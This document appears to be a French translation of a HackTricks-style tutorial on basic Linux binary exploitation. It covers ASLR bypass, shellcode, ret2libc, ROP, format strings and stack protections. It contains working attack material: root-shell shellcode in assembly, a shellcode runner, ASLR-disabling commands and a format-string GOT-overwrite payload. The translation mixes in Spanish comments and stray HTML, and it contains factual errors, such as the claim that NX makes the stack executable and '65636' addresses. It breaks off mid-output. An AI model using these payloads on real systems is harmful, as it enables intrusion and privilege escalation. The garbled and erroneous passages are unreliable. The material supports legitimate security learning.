hacktricks/exploiting/linux-exploiting-basic-esp
2023-09-14 00:00:42 +00:00
..
rop-leaking-libc-address Translated to French 2023-06-03 13:10:46 +00:00
bypassing-canary-and-pie.md Translated to French 2023-06-03 13:10:46 +00:00
format-strings-template.md Translated to French 2023-06-03 13:10:46 +00:00
fusion.md Translated to French 2023-06-03 13:10:46 +00:00
README.md Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'macos-ha 2023-09-14 00:00:42 +00:00
ret2lib.md Translated to French 2023-06-03 13:10:46 +00:00
rop-syscall-execv.md Translated to French 2023-06-03 13:10:46 +00:00

Linux Exploiting (Basique) (SPA)

Linux Exploiting (Basique) (SPA)

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

ASLR

Address Space Layout Randomization

Désactiver la randomisation (ASLR) GLOBALE (root):
echo 0 > /proc/sys/kernel/randomize_va_space
Réactiver la randomisation GLOBALE : echo 2 > /proc/sys/kernel/randomize_va_space

Désactiver pour une exécution (ne nécessite pas les droits root) :
setarch `arch` -R ./exemple arguments
setarch `uname -m` -R ./exemple arguments

Désactiver la protection de l'exécution sur la pile
gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack exemple.c -o exemple

Fichier core
ulimit -c unlimited
gdb /exec fichier_core
/etc/security/limits.conf -> * soft core unlimited

Texte
Données
BSS
Heap

Pile

Section BSS: Variables globales ou statiques non initialisées

static int i;

Section DATA: Variables globales ou statiques initialisées

int i = 5;

Section TEXT: Code instructions (opcodes)

Section HEAP: Dynamically allocated buffers (malloc(), calloc(), realloc())

Section STACK: The stack (Passed arguments, environment strings (env), local variables...)

1. DÉBORDEMENTS DE PILE

Débordement de tampon, dépassement de tampon, dépassement de pile, écrasement de pile

Segmentation fault: When attempting to access a memory address that has not been assigned to the process.

To obtain the address of a function within a program, you can do:

objdump -d ./PROGRAMA | grep FUNCION

ROP

Appel à sys_execve

{% content-ref url="rop-syscall-execv.md" %} rop-syscall-execv.md {% endcontent-ref %}

2.SHELLCODE

Voir les interruptions du noyau : cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep "__NR_"

setreuid(0,0); // __NR_setreuid 70
execve("/bin/sh", args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1

xor eax, eax ; nettoyer eax
xor ebx, ebx ; ebx = 0 car il n'y a pas d'argument à passer
mov al, 0x01 ; eax = 1 -> __NR_exit 1
int 0x80 ; Exécuter l'appel système

nasm -f elf assembly.asm -> Renvoie un fichier .o
ld assembly.o -o shellcodeout -> Donne un exécutable composé du code assembleur et nous pouvons extraire les opcodes avec objdump
objdump -d -Mintel ./shellcodeout -> Pour vérifier que c'est bien notre shellcode et extraire les opcodes

Vérifier que le shellcode fonctionne

char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”

void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>

Pour vérifier que les appels système sont effectués correctement, vous devez compiler le programme précédent et les appels système doivent apparaître dans strace ./PROGRAMA_COMPILADO

Lors de la création de shellcodes, vous pouvez utiliser une astuce. La première instruction est un saut vers un appel. L'appel appelle le code d'origine et place également l'EIP dans la pile. Après l'instruction call, nous avons inséré la chaîne dont nous avions besoin, de sorte qu'avec cet EIP, nous pouvons pointer vers la chaîne et continuer à exécuter le code.

EX ASTUCE (/bin/sh):

jmp                 0x1f                                        ; Salto al último call
popl                %esi                                       ; Guardamos en ese la dirección al string
movl               %esi, 0x8(%esi)       ; Concatenar dos veces el string (en este caso /bin/sh)
xorl                 %eax, %eax             ; eax = NULL
movb  %eax, 0x7(%esi)     ; Ponemos un NULL al final del primer /bin/sh
movl               %eax, 0xc(%esi)      ; Ponemos un NULL al final del segundo /bin/sh
movl   $0xb, %eax               ; Syscall 11
movl               %esi, %ebx               ; arg1=“/bin/sh”
leal                 0x8(%esi), %ecx      ; arg[2] = {“/bin/sh”, “0”}
leal                 0xc(%esi), %edx      ; arg3 = NULL
int                    $0x80                         ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl                 %ebx, %ebx             ; ebx = NULL
movl   %ebx, %eax
inc                   %eax                          ; Syscall 1
int                    $0x80                         ; exit(0)
call                  -0x24                          ; Salto a la primera instrución
.string             \”/bin/sh\”                               ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>

Exploitation en utilisant le Stack (/bin/sh) :

section .text
global _start
_start:
xor                  eax, eax                     ;Limpieza
mov                al, 0x46                      ; Syscall 70
xor                  ebx, ebx                     ; arg1 = 0
xor                  ecx, ecx                     ; arg2 = 0
int                    0x80                           ; setreuid(0,0)
xor                  eax, eax                     ; eax = 0
push   eax                             ; “\0”
push               dword 0x68732f2f ; “//sh”
push               dword 0x6e69622f; “/bin”
mov                ebx, esp                     ; arg1 = “/bin//sh\0”
push               eax                             ; Null -> args[1]
push               ebx                             ; “/bin/sh\0” -> args[0]
mov                ecx, esp                     ; arg2 = args[]
mov                al, 0x0b                      ; Syscall 11
int                    0x80                           ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)

EJ FNSTENV:

EJ FNSTENV est une technique d'exploitation utilisée pour exploiter les vulnérabilités de la pile d'exécution sur les systèmes Linux. Cette technique est basée sur l'utilisation de l'instruction FNSTENV pour obtenir le contexte de la pile d'exécution et extraire les valeurs des registres. Ces valeurs peuvent ensuite être utilisées pour analyser et exploiter les vulnérabilités présentes dans le programme cible.

L'exploitation de FNSTENV peut être utilisée pour contourner les mécanismes de protection tels que l'ASLR (Address Space Layout Randomization) et le DEP (Data Execution Prevention). En obtenant les valeurs des registres, un attaquant peut déterminer l'emplacement exact de la pile d'exécution et exécuter du code malveillant.

Il est important de noter que l'utilisation de cette technique nécessite des connaissances avancées en programmation et en exploitation de vulnérabilités. Elle doit être utilisée à des fins légales, telles que les tests de pénétration autorisés et la recherche en sécurité informatique. L'utilisation de cette technique sans autorisation est illégale et peut entraîner des conséquences juridiques.

fabs
fnstenv [esp-0x0c]
pop eax                     ; Guarda el EIP en el que se ejecutó fabs
…

Chasseur d'œufs :

Il s'agit d'un petit code qui parcourt les pages de mémoire associées à un processus à la recherche de la shellcode qui y est stockée (il recherche une signature spécifique dans la shellcode). Utile dans les cas où il n'y a qu'un petit espace pour injecter du code.

Shellcodes polymorphiques

Il s'agit de shells chiffrés qui contiennent un petit code pour les déchiffrer et y sauter, en utilisant l'astuce Call-Pop. Voici un exemple de chiffrement de César :

global _start
_start:
jmp short magic
init:
pop     esi
xor      ecx, ecx
mov    cl,0                              ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub     byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub     cl, 1
jnz       desc
jmp     short sc
magic:
call init
sc:
;Aquí va el shellcode
  1. Attaquer le Frame Pointer (EBP)

Utile dans une situation où nous pouvons modifier l'EBP mais pas l'EIP.

Il est connu que lorsqu'une fonction se termine, le code assembleur suivant est exécuté :

movl               %ebp, %esp
popl                %ebp
ret

De cette façon, il est possible de modifier l'EBP en sortant d'une fonction (fvuln) qui a été appelée par une autre fonction, lorsque la fonction qui a appelé fvuln se termine, son EIP peut être modifié.

Dans fvuln, il est possible d'introduire un faux EBP qui pointe vers un emplacement où se trouve l'adresse de la shellcode + 4 (il faut ajouter 4 pour le pop). Ainsi, en sortant de la fonction, la valeur de &(&Shellcode)+4 sera placée dans ESP, avec le pop, 4 sera soustrait à ESP et il pointera vers l'adresse de la shellcode lors de l'exécution du ret.

Exploit :
&Shellcode + "AAAA" + SHELLCODE + padding + &(&Shellcode)+4

Exploit Off-by-One :
Il est possible de modifier uniquement le byte de poids le moins significatif de l'EBP. Une attaque similaire à celle décrite précédemment peut être réalisée, mais la mémoire qui stocke l'adresse de la shellcode doit partager les 3 premiers octets avec l'EBP.

4. Méthodes return to Libc

Cette méthode est utile lorsque la pile n'est pas exécutable ou laisse peu d'espace pour la modification.

L'ASLR fait en sorte que les fonctions soient chargées à des emplacements différents en mémoire à chaque exécution. Par conséquent, cette méthode peut ne pas être efficace dans ce cas. Pour les serveurs distants, comme le programme est constamment exécuté à la même adresse, cette méthode peut être utile.

  • cdecl (C declaration) : Les arguments sont placés sur la pile et la pile est nettoyée après la sortie de la fonction.
  • stdcall (standard call) : Les arguments sont placés sur la pile et c'est la fonction appelée qui la nettoie.
  • fastcall : Les deux premiers arguments sont placés dans des registres et les autres sur la pile.

On place l'adresse de l'instruction system de libc et on lui passe en argument la chaîne "/bin/sh", généralement à partir d'une variable d'environnement. De plus, on utilise l'adresse de la fonction exit pour que le programme se termine sans problème une fois que la shell n'est plus nécessaire (et pour éviter d'écrire des journaux).

export SHELL=/bin/sh

Pour trouver les adresses dont nous avons besoin, nous pouvons regarder à l'intérieur de GDB :
p system
p exit
rabin2 -i executable —> Donne l'adresse de toutes les fonctions utilisées par le programme lorsqu'il est chargé
(Dans un start ou un autre point d'arrêt) : x/500s $esp —> Nous recherchons ici la chaîne /bin/sh

Une fois que nous avons ces adresses, l'exploit serait le suivant :

"A" * DISTANCE EBP + 4 (EBP : cela peut être 4 "A" mais il est préférable que ce soit le vrai EBP pour éviter les erreurs de segmentation) + Adresse de system (qui écrasera l'EIP) + Adresse de exit (lorsque system("/bin/sh") se termine, cette fonction sera appelée car les 4 premiers octets de la pile sont traités comme l'adresse suivante de l'EIP à exécuter) + Adresse de "/bin/sh" (ce sera le paramètre passé à system)

De cette manière, l'EIP sera écrasé par l'adresse de system, qui recevra la chaîne "/bin/sh" en tant que paramètre, et lorsqu'elle se terminera, la fonction exit() sera exécutée.

Il est possible que l'un des octets d'une adresse d'une fonction soit nul ou un espace (\x20). Dans ce cas, il est possible de désassembler les adresses précédant cette fonction, car il y a probablement plusieurs NOPs qui nous permettront d'appeler l'un d'entre eux plutôt que la fonction directement (par exemple avec > x/8i system-4).

Cette méthode fonctionne car lorsqu'une fonction comme system est appelée en utilisant l'opcode ret au lieu de call, la fonction comprend que les 4 premiers octets seront l'adresse EIP à laquelle revenir.

Une technique intéressante avec cette méthode consiste à appeler strncpy() pour déplacer une charge utile de la pile vers le tas, puis utiliser gets() pour exécuter cette charge utile.

Une autre technique intéressante est l'utilisation de mprotect(), qui permet d'attribuer les autorisations souhaitées à n'importe quelle partie de la mémoire. Cela fonctionne ou fonctionnait sur BDS, MacOS et OpenBSD, mais pas sur Linux (qui empêche l'attribution simultanée des autorisations d'écriture et d'exécution). Avec cette attaque, il serait possible de rétablir l'exécution de la pile.

Enchaînement de fonctions

Basé sur la technique précédente, cette forme d'exploit consiste en :
Remplissage + &Fonction1 + &pop;ret; + &arg_fun1 + &Fonction2 + &pop;ret; + &arg_fun2 + ...

De cette manière, il est possible d'enchaîner des fonctions à appeler. De plus, si l'on souhaite utiliser des fonctions avec plusieurs arguments, on peut placer les arguments nécessaires (par exemple 4) et rechercher une adresse contenant les opcodes : pop, pop, pop, pop, ret —> objdump -d executable

Enchaînement en falsifiant les frames (enchaînement des EBPs)

Il s'agit de profiter de la possibilité de manipuler l'EBP pour enchaîner l'exécution de plusieurs fonctions à travers l'EBP et "leave;ret"

REMPLISSAGE

  • On place dans l'EBP un faux EBP qui pointe vers : 2ème faux EBP + la fonction à exécuter : (&system() + &leave;ret + &"/bin/sh")
  • Dans l'EIP, on met comme adresse une fonction &(leave;ret)

On initialise la shellcode avec l'adresse de la partie suivante de la shellcode, par exemple : 2ème EBP_falso + &system() + &(leave;ret;) + &"/bin/sh"

le 2ème EBP serait : 3ème EBP_falso + &system() + &(leave;ret;) + &"/bin/ls"

Cette shellcode peut être répétée indéfiniment dans les parties de mémoire auxquelles on a accès, de sorte qu'une shellcode facilement divisible en petits morceaux de mémoire est obtenue.

(L'exécution de fonctions est enchaînée en mélangeant les vulnérabilités précédemment mentionnées d'EBP et de ret2lib)

5. Méthodes complémentaires

Ret2Ret

Utiles lorsque vous ne pouvez pas insérer une adresse de la pile dans l'EIP (vérifiez que l'EIP ne contient pas 0xbf) ou lorsque vous ne pouvez pas calculer l'emplacement du shellcode. Cependant, la fonction vulnérable accepte un paramètre (le shellcode ira ici).

De cette manière, en changeant l'EIP par une adresse de ret, la prochaine adresse sera chargée (qui est l'adresse du premier argument de la fonction). Autrement dit, le shellcode sera chargé.

L'exploit serait: SHELLCODE + Remplissage (jusqu'à EIP) + &ret (les octets suivants de la pile pointent vers le début du shellcode car l'adresse du paramètre passé est insérée dans la pile)

Il semble que des fonctions telles que strncpy, une fois terminées, suppriment de la pile l'adresse où le shellcode était stocké, rendant cette technique impossible. Autrement dit, l'adresse passée à la fonction en tant qu'argument (celle qui stocke le shellcode) est modifiée par un 0x00, donc lorsque le deuxième ret est appelé, il rencontre un 0x00 et le programme se termine.

**Ret2PopRet**

Si nous n'avons pas le contrôle sur le premier argument mais sur le deuxième ou le troisième, nous pouvons écraser EIP avec une adresse pop-ret ou pop-pop-ret, selon celle dont nous avons besoin.

Technique de Murat

Sur Linux, tous les programmes sont mappés à partir de 0xbfffffff.

En examinant comment la pile d'un nouveau processus est construite sur Linux, nous pouvons développer une exploitation de manière à ce que le programme soit lancé dans un environnement dont la seule variable est le shellcode. L'adresse de cette variable peut alors être calculée comme suit : addr = 0xbfffffff - 4 - strlen(NOM_executable_complet) - strlen(shellcode)

De cette manière, nous obtenons facilement l'adresse de la variable d'environnement contenant le shellcode.

Cela est possible grâce à la fonction execle, qui permet de créer un environnement ne contenant que les variables d'environnement souhaitées.

Jump to ESP : Style Windows

Étant donné que ESP pointe toujours vers le début de la pile, cette technique consiste à remplacer EIP par l'adresse d'un appel à jmp esp ou call esp. Ainsi, le shellcode est sauvegardé après l'écrasement d'EIP, car après l'exécution de ret, ESP pointe vers l'adresse suivante, là où le shellcode a été sauvegardé.

Si ASLR n'est pas activé sur Windows ou Linux, il est possible d'appeler jmp esp ou call esp stockés dans un objet partagé. Si ASLR est activé, il est possible de rechercher à l'intérieur du programme vulnérable lui-même.

De plus, le fait de pouvoir placer le shellcode après la corruption d'EIP plutôt qu'au milieu de la pile permet d'éviter que les instructions push ou pop exécutées au milieu de la fonction n'interfèrent avec le shellcode (ce qui pourrait se produire s'il était placé au milieu de la pile de la fonction).

De manière similaire, si nous savons qu'une fonction renvoie l'adresse où le shellcode est stocké, nous pouvons appeler call eax ou jmp eax (ret2eax).

ROP (Return Oriented Programming) ou fragments de code empruntés

Les fragments de code invoqués sont appelés gadgets.

Cette technique consiste à enchaîner différents appels de fonctions en utilisant la technique ret2libc et l'utilisation de pop,ret.

Sur certaines architectures de processeurs, chaque instruction est un ensemble de 32 bits (par exemple, MIPS). Cependant, sur Intel, les instructions ont une taille variable et plusieurs instructions peuvent partager un ensemble de bits, par exemple :

movl $0xe4ff, -0x(%ebp) -> Contient les octets 0xffe4, qui se traduisent également par : jmp *%esp

De cette manière, il est possible d'exécuter certaines instructions qui ne sont même pas présentes dans le programme d'origine.

ROPgadget.py nous aide à trouver des valeurs dans les binaires.

Ce programme permet également de créer les payloads. Vous pouvez lui donner la bibliothèque à partir de laquelle vous souhaitez extraire les ROP et il générera un payload en python auquel vous fournissez l'adresse de cette bibliothèque, et le payload est prêt à être utilisé comme shellcode. De plus, comme il utilise des appels système, il n'exécute rien réellement dans la pile, mais il enregistre simplement les adresses des ROP qui seront exécutées via ret. Pour utiliser ce payload, il faut appeler le payload à l'aide d'une instruction ret.

Débordements d'entiers

Ce type de débordement se produit lorsque une variable n'est pas préparée pour supporter un nombre aussi grand que celui qui lui est passé, peut-être en raison d'une confusion entre les variables signées et non signées, par exemple :

#include <stdion.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char *argv[]){
int len;
unsigned int l;
char buffer[256];
int i;
len = l = strtoul(argv[1], NULL, 10);
printf("\nL = %u\n", l);
printf("\nLEN = %d\n", len);
if (len >= 256){
printf("\nLongitus excesiva\n");
exit(1);
}
if(strlen(argv[2]) < l)
strcpy(buffer, argv[2]);
else
printf("\nIntento de hack\n");
return 0;
}

Dans l'exemple précédent, nous voyons que le programme attend 2 paramètres. Le premier est la longueur de la chaîne suivante et le deuxième est la chaîne elle-même.

Si nous passons un nombre négatif comme premier paramètre, il sera indiqué que len < 256 et nous passerons donc cette vérification. De plus, strlen(buffer) sera inférieur à l, car l est un unsigned int et sera très grand.

Ce type de dépassement de tampon ne vise pas à écrire quelque chose dans le processus du programme, mais à contourner des filtres mal conçus pour exploiter d'autres vulnérabilités.

Variables non initialisées

On ne sait pas quelle valeur peut prendre une variable non initialisée et il peut être intéressant de l'observer. Il se peut qu'elle prenne la valeur d'une variable de la fonction précédente et soit contrôlée par l'attaquant.

Chaînes de format

En C, printf est une fonction qui peut être utilisée pour afficher une chaîne de caractères. Le premier paramètre que cette fonction attend est le texte brut avec les formateurs. Les paramètres suivants attendus sont les valeurs à substituer aux formateurs du texte brut.

La vulnérabilité apparaît lorsque le texte de l'attaquant est mis en tant que premier argument de cette fonction. L'attaquant pourra créer une entrée spéciale en abusant des capacités de formatage de printf pour écrire n'importe quelle donnée à n'importe quelle adresse. Ainsi, il pourra exécuter du code arbitraire.

Formateurs :

%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3

%n écrit le nombre d'octets écrits à l'adresse indiquée. En écrivant autant d'octets que le nombre hexadécimal que nous devons écrire, vous pouvez écrire n'importe quelle donnée.

AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500

GOT (Global Offsets Table) / PLT (Procedure Linkage Table)

C'est la table qui contient l'adresse des fonctions externes utilisées par le programme.

Obtenez l'adresse de cette table avec : objdump -s -j .got ./exec

Remarquez comment après le chargement de l'exécutable dans GEF, vous pouvez voir les fonctions qui se trouvent dans le GOT : gef➤ x/20x 0xDIR_GOT

En utilisant GEF, vous pouvez démarrer une session de débogage et exécuter got pour voir la table got :

Dans un binaire, le GOT contient les adresses des fonctions ou de la section PLT qui va charger l'adresse de la fonction. L'objectif de cette exploitation est de modifier l'entrée GOT d'une fonction qui sera exécutée ultérieurement avec l'adresse de la PLT de la fonction system. Idéalement, vous allez modifier le GOT d'une fonction qui va être appelée avec des paramètres contrôlés par vous (ainsi vous pourrez contrôler les paramètres envoyés à la fonction système).

Si la fonction system n'est pas utilisée par le script, la fonction system n'aura pas d'entrée dans le GOT. Dans ce scénario, vous devrez d'abord obtenir l'adresse de la fonction system.

La Procedure Linkage Table est une table en lecture seule dans le fichier ELF qui stocke tous les symboles nécessitant une résolution. Lorsqu'une de ces fonctions est appelée, le GOT redirige le flux vers la PLT afin de résoudre l'adresse de la fonction et de l'écrire dans le GOT. Ensuite, la prochaine fois qu'un appel est effectué à cette adresse, la fonction est appelée directement sans avoir besoin de la résoudre.

Vous pouvez voir les adresses de la PLT avec objdump -j .plt -d ./vuln_binary

Flux d'exploitation

Comme expliqué précédemment, l'objectif va être de modifier l'adresse d'une fonction dans la table GOT qui sera appelée ultérieurement. Idéalement, nous pourrions définir l'adresse sur un shellcode situé dans une section exécutable, mais il est très probable que vous ne puissiez pas écrire de shellcode dans une section exécutable.
Une autre option consiste donc à modifier une fonction qui reçoit ses arguments de l'utilisateur et à la rediriger vers la fonction system.

Pour écrire l'adresse, généralement 2 étapes sont effectuées : vous écrivez d'abord 2 octets de l'adresse, puis les 2 autres. Pour ce faire, on utilise $hn.

HOB est utilisé pour les 2 octets les plus élevés de l'adresse
LOB est utilisé pour les 2 octets les plus bas de l'adresse

Ainsi, en raison du fonctionnement des chaînes de format, vous devez d'abord écrire le plus petit de [HOB, LOB] puis l'autre.

Si HOB < LOB
[adresse+2][adresse]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]

Si HOB > LOB
[adresse+2][adresse]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]

HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB

`python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'`

Modèle d'exploitation des chaînes de format

Vous pouvez trouver un modèle pour exploiter le GOT en utilisant les chaînes de format ici :

{% content-ref url="format-strings-template.md" %} format-strings-template.md {% endcontent-ref %}

.fini_array

Essentiellement, il s'agit d'une structure avec des fonctions qui seront appelées avant la fin du programme. C'est intéressant si vous pouvez appeler votre shellcode en sautant à une adresse, ou dans les cas où vous devez revenir à la fonction main pour exploiter la chaîne de format une deuxième fois.

objdump -s -j .fini_array ./greeting

./greeting:     file format elf32-i386

Contents of section .fini_array:
8049934 a0850408

#Put your address in 0x8049934

Notez que cela ne créera pas de boucle infinie car lorsque vous revenez à la fonction principale, le canary le remarquera, la fin de la pile pourrait être corrompue et la fonction ne sera pas rappelée. Ainsi, avec cela, vous pourrez avoir une exécution supplémentaire de la vulnérabilité.

Utilisation des chaînes de format pour extraire du contenu

Une chaîne de format peut également être utilisée pour extraire du contenu de la mémoire du programme. Par exemple, dans la situation suivante, il y a une variable locale dans la pile qui pointe vers un drapeau. Si vous trouvez où se trouve en mémoire le pointeur vers le drapeau, vous pouvez faire en sorte que printf accède à cette adresse et affiche le drapeau :

Ainsi, le drapeau est à l'adresse 0xffffcf4c.

Et à partir de la fuite, vous pouvez voir que le pointeur vers le drapeau est le 8e paramètre :

Donc, en accédant au 8e paramètre, vous pouvez obtenir le drapeau :

Notez qu'en suivant l'exploit précédent et en réalisant que vous pouvez extraire du contenu, vous pouvez définir des pointeurs vers printf dans la section où l'exécutable est chargé et le vider entièrement !

DTOR

{% hint style="danger" %} De nos jours, il est très rare de trouver un binaire avec une section dtor. {% endhint %}

Les destructeurs sont des fonctions qui sont exécutées avant la fin du programme. Si vous parvenez à écrire une adresse vers un shellcode dans __DTOR_END__, cela sera exécuté avant la fin du programme. Obtenez l'adresse de cette section avec :

objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR”

Généralement, vous trouverez la section DTOR entre les valeurs ffffffff et 00000000. Donc, si vous voyez seulement ces valeurs, cela signifie qu'il n'y a aucune fonction enregistrée. Vous devez donc écraser le 00000000 avec l'adresse de la shellcode pour l'exécuter.

Chaînes de format pour les dépassements de tampon

La fonction sprintf déplace une chaîne formatée vers une variable. Par conséquent, vous pouvez exploiter le formatage d'une chaîne pour provoquer un dépassement de tampon dans la variable où le contenu est copié.
Par exemple, la charge utile %.44xAAAA écrira 44 octets+"AAAA" dans la variable, ce qui peut provoquer un dépassement de tampon.

Structures __atexit

{% hint style="danger" %} De nos jours, il est très rare d'exploiter cela. {% endhint %}

atexit() est une fonction à laquelle d'autres fonctions sont passées en tant que paramètres. Ces fonctions seront exécutées lors de l'exécution d'un exit() ou du retour de la fonction principale.
Si vous pouvez modifier l'adresse de l'une de ces fonctions pour qu'elle pointe vers une shellcode par exemple, vous prendrez le contrôle du processus, mais cela est actuellement plus compliqué.
Actuellement, les adresses des fonctions à exécuter sont cachées derrière plusieurs structures et finalement l'adresse vers laquelle elles pointent n'est pas l'adresse des fonctions, mais elles sont cryptées avec XOR et des décalages avec une clé aléatoire. Donc, actuellement, ce vecteur d'attaque n'est pas très utile, du moins sur x86 et x64_86.
La fonction de cryptage est PTR_MANGLE. D'autres architectures telles que m68k, mips32, mips64, aarch64, arm, hppa... n'implémentent pas la fonction de cryptage car elle renvoie la même chose qu'elle a reçue en entrée. Donc, ces architectures pourraient être attaquées par ce vecteur.

setjmp() & longjmp()

{% hint style="danger" %} De nos jours, il est très rare d'exploiter cela. {% endhint %}

Setjmp() permet de sauvegarder le contexte (les registres)
longjmp() permet de restaurer le contexte.
Les registres sauvegardés sont : EBX, ESI, EDI, ESP, EIP, EBP
Ce qui se passe, c'est que EIP et ESP sont passés par la fonction PTR_MANGLE, donc les architectures vulnérables à cette attaque sont les mêmes que celles mentionnées ci-dessus.
Ils sont utiles pour la récupération d'erreur ou les interruptions.
Cependant, d'après ce que j'ai lu, les autres registres ne sont pas protégés, donc si un call ebx, call esi ou call edi se trouve à l'intérieur de la fonction appelée, le contrôle peut être pris. Ou vous pouvez également modifier EBP pour modifier ESP.

VTable et VPTR en C++

Chaque classe a une Vtable qui est un tableau de pointeurs vers des méthodes.

Chaque objet d'une classe a un VPtr qui est un pointeur vers le tableau de sa classe. Le VPtr fait partie de l'en-tête de chaque objet, donc si une modification du VPtr est réalisée, il peut être modifié pour pointer vers une méthode fictive, de sorte que l'exécution d'une fonction aboutisse à la shellcode.

Mesures préventives et évasions

ASLR pas si aléatoire

PaX divise l'espace d'adressage du processus en 3 groupes :

Code et données initialisées et non initialisées : .text, .data et .bss -> 16 bits d'entropie dans la variable delta_exec, cette variable est initialisée de manière aléatoire à chaque processus et est ajoutée aux adresses initiales.

Mémoire allouée par mmap() et bibliothèques partagées -> 16 bits, delta_mmap

La pile -> 24 bits, delta_stack -> En réalité 11 (du 10ème au 20ème octet inclus) -> aligné sur 16 octets -> 524 288 adresses réelles possibles de la pile

Les variables d'environnement et les arguments se déplacent moins qu'un tampon sur la pile.

Return-into-printf

C'est une technique pour transformer un dépassement de tampon en une erreur de chaîne de format. Elle consiste à remplacer l'EIP pour qu'il pointe vers un printf de la fonction et à lui passer une chaîne de format manipulée pour obtenir des valeurs sur l'état du processus.

Attaque sur les bibliothèques

Les bibliothèques sont situées à une position avec 16 bits d'aléatoire = 65636 adresses possibles. Si un serveur vulnérable appelle fork(), l'espace d'adressage mémoire est cloné dans le processus enfant et reste intact. Il est donc possible d'essayer de forcer la fonction usleep() de libc en lui passant l'argument "16", de sorte que lorsqu'elle met plus de temps que d'habitude à répondre, cette fonction est trouvée. En connaissant l'emplacement de cette fonction, on peut obtenir delta_mmap et calculer les autres.

La seule façon d'être sûr que l'ASLR fonctionne est d'utiliser une architecture 64 bits. Il n'y a pas d'attaques par force brute dans ce cas.

StackGuard et StackShield

StackGuard insère avant l'EIP -> 0x000aff0d(null, \n, EndOfFile(EOF), \r) -> recv(), memcpy(), read(), bcoy() restent vulnérables et il ne protège pas l'EBP.

StackShield est plus élaboré que StackGuard.

Il enregistre dans une table (Global Return Stack) toutes les adresses EIP de retour afin que le dépassement de tampon ne cause aucun dommage. De plus, les deux adresses peuvent être comparées pour vérifier s'il y a eu un dépassement.

Il est également possible de vérifier l'adresse de retour avec une valeur limite, donc si l'EIP va à un endroit différent de celui habituel comme l'espace de données, cela sera détecté. Mais cela peut être contourné avec Ret-to-lib, ROPs ou ret2ret.

Comme vous pouvez le voir, StackShield ne protège pas non plus les variables locales.

Stack Smash Protector (ProPolice) -fstack-protector

Le canary est placé avant l'EBP. Les variables locales sont réorganisées de sorte que les tampons soient aux positions les plus élevées et ne puissent donc pas écraser d'autres variables.

De plus, une copie sécurisée des arguments passés est réalisée au-dessus de la pile (au-dessus des variables locales) et ces copies sont utilisées comme arguments.

Il ne peut pas protéger les tableaux de moins de 8 éléments ni les tampons faisant partie d'une structure utilisateur.

Le canary est un nombre aléatoire extrait de "/dev/urandom" ou sinon il est 0xff0a0000. Il est stocké dans TLS (Thread Local Storage). Les threads partagent le même espace mémoire, le TLS est une zone qui contient des variables globales ou statiques pour chaque thread. Cependant, en principe, elles sont copiées du processus parent, bien que le processus enfant puisse modifier ces données sans modifier celles du parent ni celles des autres enfants. Le problème est que si fork() est utilisé mais qu'aucun nouveau canary n'est créé, tous les processus (parent et enfants) utilisent le même canary. Sur i386, il est stocké dans gs:0x14 et sur x86_64, il est stocké dans fs:0x28.

Cette protection localise les fonctions qui ont des tampons pouvant être attaqués et inclut du code au début de la fonction pour placer le canary et du code à la fin pour le vérifier. La fonction fork() crée une copie exacte du processus parent, c'est pourquoi si un serveur web appelle fork(), une attaque de force brute byte par byte peut être effectuée jusqu'à ce que le canary utilisé soit découvert.

Si la fonction execve() est utilisée après fork(), l'espace est écrasé et l'attaque n'est plus possible. vfork() permet d'exécuter le processus enfant sans créer de duplication jusqu'à ce que le processus enfant tente d'écrire, alors une duplication est créée.

Relocation Read-Only (RELRO)

Relro

Relro (Relocalisation en lecture seule) affecte les autorisations de mémoire de manière similaire à NX. La différence est que, tandis que NX rend la pile exécutable, RELRO rend certaines choses en lecture seule afin que nous ne puissions pas y écrire. La façon la plus courante dont j'ai vu cela être un obstacle est de nous empêcher de faire une surcharge de la table got, ce qui sera expliqué plus tard. La table got contient les adresses des fonctions libc afin que le binaire sache quelles sont les adresses et puisse les appeler. Voyons à quoi ressemblent les autorisations de mémoire pour une entrée de la table got pour un binaire avec et sans relro.

Avec relro :

gef➤  vmmap
Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- /tmp/tryc
0x0000555555555000 0x0000555555556000 0x0000000000001000 r-x /tmp/tryc
0x0000555555556000 0x0000555555557000 0x0000000000002000 r-- /tmp/tryc
0x0000555555557000 0x0000555555558000 0x0000000000002000 r-- /tmp/tryc
0x0000555555558000 0x0000555555559000 0x0000000000003000 rw- /tmp/tryc
0x0000555555559000 0x000055555557a000 0x0000000000000000 rw- [heap]
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
